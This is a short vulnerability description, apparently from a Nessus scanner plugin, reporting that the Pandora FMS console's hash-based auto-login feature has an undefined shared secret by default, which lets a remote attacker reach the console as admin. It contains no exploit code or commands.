"The Pandora FMS console hosted on the remote web server is affected by
an authentication bypass vulnerability. The 'auto login (hash) password'
feature allows third parties to authenticate using a combination of
username and a shared secret. This shared secret is undefined by
default, which means it is possible to authenticate solely by
providing the hash of a valid username.

A remote attacker can exploit this issue to access the console as
admin.

This version of Pandora FMS is also affected by other vulnerabilities;
however, Nessus has not tested for those issues."
